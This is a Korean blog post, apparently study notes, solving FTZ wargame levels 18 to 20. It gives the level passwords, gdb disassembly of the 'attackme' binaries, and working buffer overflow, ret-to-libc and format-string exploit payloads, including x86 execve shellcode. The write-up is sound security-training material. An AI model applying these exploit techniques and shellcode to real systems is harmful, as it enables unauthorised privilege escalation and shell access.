▣ Level18  - password : why did you do it

1. 소스코드 분석 

 

2. 'attackme' gdb 분석

 

3.  스택 구조 그림

   - 버퍼의 위치가 높은 주소에 있음 → 기존 방식으로 BoF 실시 불가능 


4. BoF

ⓐ BoF 공격

   - switch 문의 default 내용을 보면, count 값은 string에 배열로 사용한다.
   - 그래서, 'case 0x08'에 의해서 '0x08'을 4번 입력하면, count 값이 '-4'가 된다.
   - 그럼, 'string-4' 주소 위치인 check에 '0xdeadbeef'를 삽입 가능 

   [attackme 소스 코드 중 일부..]

ⓑ '0xdeadbeef'       → 리틀 엔디안 방식으로 변경
    ===========================================
         0xdeadbeef                      \xef\xbe\xad\xde
    ===========================================

ⓒ 페이로드 제작
     ─────────────────
        "0x08"*4 + "\xef\xbe\xad\xde"
     ─────────────────
    → (python -c 'print("\x08"*4 + "\xef\xbe\xad\xde")';cat) | ./attackme 

  [level18@ftz level18]$ (python -c 'print("\x08"*4 + "\xef\xbe\xad\xde")';cat) | ./attackme

 

 


▣ Level19  - password : swimming in pink

1. 소스코드 분석 
 [level19@ftz level19]$ cat hint

  → 기존 문제와 다르게 setreuid 함수와 system 함수가 없다. 


2. 'attackme' gdb 분석
 [level19@ftz level19]$ cp attackme tmp
 [level19@ftz level19]$ cd tmp
 [level19@ftz tmp]$ gdb -q attackme 
 (gdb) disas main


─────────────────────────────────
Dump of assembler code for function main:
   0x08048440 <+0>:     push   %ebp
   0x08048441 <+1>:     mov    %esp,%ebp

   → 함수 프롤로그

   0x08048443 <+3>:     sub    $0x28,%esp

   → esp에서 0x28(40byte)만큼 공간 확보 

   0x08048446 <+6>:     sub    $0xc,%esp

   → esp에서 0xc(12byte)만큼 공간 확보

   0x08048449 <+9>:     lea    -0x28(%ebp),%eax

   → [ebp-0x28(40)]의 주소값을 eax에 대입
       ([ebp-0x28(40)]은 buf의 시작 주소)

   0x0804844c <+12>:    push   %eax

   → eax 값을 스택에 Push

   0x0804844d <+13>:    call   0x80482f4 <gets@plt>

   → gets 함수 호출

   0x08048452 <+18>:    add    $0x10,%esp

   → esp에서 0x10(16byte)만큼 공간 제거

   0x08048455 <+21>:    sub    $0x8,%esp

   → esp에서 0x8(8byte)만큼 공간 확보

   0x08048458 <+24>:    lea    -0x28(%ebp),%eax

   → [ebp-0x28(40)]의 주소값을 eax에 대입

   0x0804845b <+27>:    push   %eax

   → eax값을 스택에 Push

   0x0804845c <+28>:    push   $0x80484d8

   → $0x80484d8'의 값을 스택에 Push
        $0x80484d8의 값 : "%s\n"

   0x08048461 <+33>:    call   0x8048324 <printf@plt>

   → printf 함수 호출

   0x08048466 <+38>:    add    $0x10,%esp

   → esp에서 0x10(16byte)만큼 공간 제거

   0x08048469 <+41>:    leave    
   0x0804846a <+42>:    ret    

   → 함수 에필로그
End of assembler dump.
─────────────────────────────────

 

3.  스택 구조 그림



4. BoF 공격 사전 준비
    - system 함수 주소 찾는다.
    - '/bin/sh' 문자열 주소를 찾는다.
    - setreuid 함수 주소를 찾는다.
    - 다음 레벨 UID/GID를 확인한다.
    - PPR 코드(POP-POP-RET)를 찾는다.

ⓐ system 함수 주소 찾기
 [level19@ftz tmp]$ gdb -q attackme 
 (gdb) b *main
 (gdb) run
 (gdb) print system

 

ⓑ '/bin/sh' 문자열 주소 찾기
 [level19@ftz tmp]$ vi shell.c

 [level19@ftz tmp]$ gcc -o shell shell.c
 [level19@ftz tmp]$ ./shell 


ⓒ setreuid 함수 주소 찾기
 [level19@ftz tmp]$ gdb -q attackme
 (gdb) b *main
 (gdb) run
 (gdb) print setreuid


ⓓ 다음 레벨 UID/GID 확인
 [level19@ftz tmp]$ cat /etc/passwd | grep level20


ⓔ PPR 코드(POP-POP-RET) 찾기 
 [level19@ftz tmp]$ objdump -d attackme | egrep "pop|ret"

  → PPR 코드 : 0x0804849d

 

5. BoF 공격

ⓐ BoF 공격 구조 

    - 권한 상승 → 인자값 입력 → system 함수 → /bin/sh 

ⓑ system 함수 주소 & /bin/sh 주소 … → 리틀 엔디안 방식으로 변경
     -----------------------------------------------------------------------------
     · system 함수       0x4203f2c0            \xc0\xf2\x03\x42
     · /bin/sh                0x42127ea4           \xa4\x7e\x12\x42
     · setreuid 함수     0x420d7920          \x20\x79\x0d\x42
     · PPR                      0x0804849d           \x9d\x84\x04\x08
     · UID/GID              0x0c1c                     \x1c\x0c\x00\x00
     -----------------------------------------------------------------------------

ⓒ 페이로드 제작 
 ────────────────────────────────────────────

"a"*44 + "\x20\x79\x0d\x42"+ "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "aaaa" + "\xa4\x7e\x12\x42"
 ────────────────────────────────────────────

 [level19@ftz tmp]$ cd
 [level19@ftz level19]$ (python -c 'print("a"*44 + "\x20\x79\x0d\x42"+ "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "aaaa" + "\xa4\x7e\x12\x42")';cat) | ./attackme




▣ Level20  - password : we are just regular guys

1. 소스코드 분석
 [level20@ftz level20]$ cat hint


2. 'attackme' gdb 분석 → gdb 분석이 X

 

3. FSB 공격 준비 단계

1) main 함수의 버퍼와 printf 함수의 거리가 몇 Byte 인지 확인한다
      → 12Byte 

 

2) 쉘 코드 주소를 삽입할 리턴 주소 또는 _DTOR_END_(소멸자)를 찾는다
 [level20@ftz tmp]$ objdump -s -j .dtors attackme 

  → .dtors_end : 0x8049598

3) 쉘 코드를 환경 변수에 등록한 이후 쉘 코드 주소를 찾는다
    - 25byte 쉘 코드
     - '\x90'는 NOP 코드라 하여 아무 동작을 수행하지 않는다 

 [level11@ftz level11]$ export SHELLCODE=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
 [level11@ftz level11]$ env    → SHELLCODE 삽입되었는지 확인 

 [level11@ftz level11]$ cd tmp
 [level11@ftz tmp]$ vi shellcode.c

 [level11@ftz tmp]$ gcc -o shellcode shellcode.c 
 [level11@ftz tmp]$ ./shellcode SHELLCODE


4) FSB를 하기 위해 찾은 정보 
   ==============================================
   · printf와 버퍼 사이의 거리                          12Byte 
   · _DTOR_END_(소멸자) 주소                     0x8049598
   · 환경 변수로 등록한 쉘 코드 주소               0xbffffbc3
   ==============================================

 

4. FSB 공격을 하기 위한 페이로드 제작 

1) SHELLCODE 환경 번수 주소 2byte 단위 생성
      -'%n'을 이용하여 해당 주소를 입력할 때 10진수로 입력해야 한다
      - 쉘 코드의 환경 변수 주소 값 '0xbffffbc3'은 10진수로 변경하면 '3221224387'되므로 int 범위를 벗어난다
      - 그렇기 때문에 환경 변수 주소 '0xbffffbc3'을 2Byte씩 분할해야 한다
      - 2byte 씩 분할하면 다음과 같다.
      ────────────────
        쉘 주소           16진수          10진수
      ------------------------------------------------
      · 하위주소      0xfbc3           64451
      · 상위 주소     0xbfff             49151
      ────────────────

2) _DTOR_END_(소멸자) 주소에 환경 변수 2Byte씩 대입


   · _DTOR_END_(소멸자) 주소 0x08049598 ~ 0x0804959b

3) 페이로드 제작

"aaaa" + "\x98\x95\x04\x08" + "aaaa" + "\x9a\x95\x04\x08" + "%08x" *3 + "%64411d%n" + %50236d%n"
                                                                                                                           → printf 함수와 buf 거리가 12Byte

4) FSB 공격 실시
 [level20@ftz level20]$ (python - c 'print("aaaa" + "\x98\x95\x04\x08" + "aaaa" + "\x9a\x95\x04\x08" + "%08x" *3 + "%64411d%n" + "%50236d%n")';cat) | ./attackme

 



'정보 보안 > 시스템 보안' 카테고리의 다른 글

시스템 보안 Day 17  (0) 2019.10.19
시스템 보안 Day 16  (0) 2019.10.19
시스템 보안 Day 15  (0) 2019.10.17
시스템 보안 Day 14  (0) 2019.10.04
시스템 보안 Day 13  (0) 2019.10.04

+ Recent posts